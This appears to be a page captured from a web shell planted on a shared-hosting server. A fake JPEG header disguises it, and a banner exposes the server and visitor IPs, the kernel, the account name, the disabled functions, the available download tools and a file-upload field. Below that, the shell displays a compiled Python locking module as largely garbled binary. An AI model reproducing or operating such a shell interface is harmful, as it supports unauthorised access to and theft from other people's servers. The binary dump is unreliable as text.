ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/imunify360/venv/lib64/python3.11/site-packages/clcommon/__pycache__/ |
Upload File : |
�
��gh � �J � d dl Z d dlZd dlZd� Zd� Ze j d� � � ZdS )� Nc �� � t j � | � � }|r3t j � |� � st j |� � t | d� � }t
j |t j � � |� dd� � |�
� � |� t t j
� � � � � � |� � � |S )Nza+r )�os�path�dirname�exists�makedirs�open�fcntl�flock�LOCK_EX�seek�truncate�write�str�getpid�flush)�
lockfile_path�
lock_file_dir�fds �m/builddir/build/BUILD/imunify360-venv-2.6.0/opt/imunify360/venv/lib/python3.11/site-packages/clcommon/lock.py�
setup_lockr s� � ��G�O�O�M�2�2�M�� #�R�W�^�^�M�:�:� #�
��M�"�"�"�
�m�T� "� "�B�
�K��E�M�"�"�"��G�G�A�q�M�M�M��K�K�M�M�M��H�H�S�����
�
�����H�H�J�J�J�
�I� c � � t j | � � � t j � � | � � � d S )N)r
r �fileno�LOCK_UN�close)r s r �release_lockr # s/ � � �K�� � ���U�]�+�+�+��H�H�J�J�J�J�Jr c # �x K � t | � � } dV � t |� � dS # t |� � w xY w)zE
Usage:
with acquire_lock():
... do something ...
N)r r )r r s r �acquire_lockr ( sK � � � �
�M� "� "�B��
�����R��������R�������s �( �9)�
contextlibr
r r r �contextmanagerr � r r �<module>r# sl �� � � � � ���� � � � �� � �$� � �
��
�
� ��
�
�
r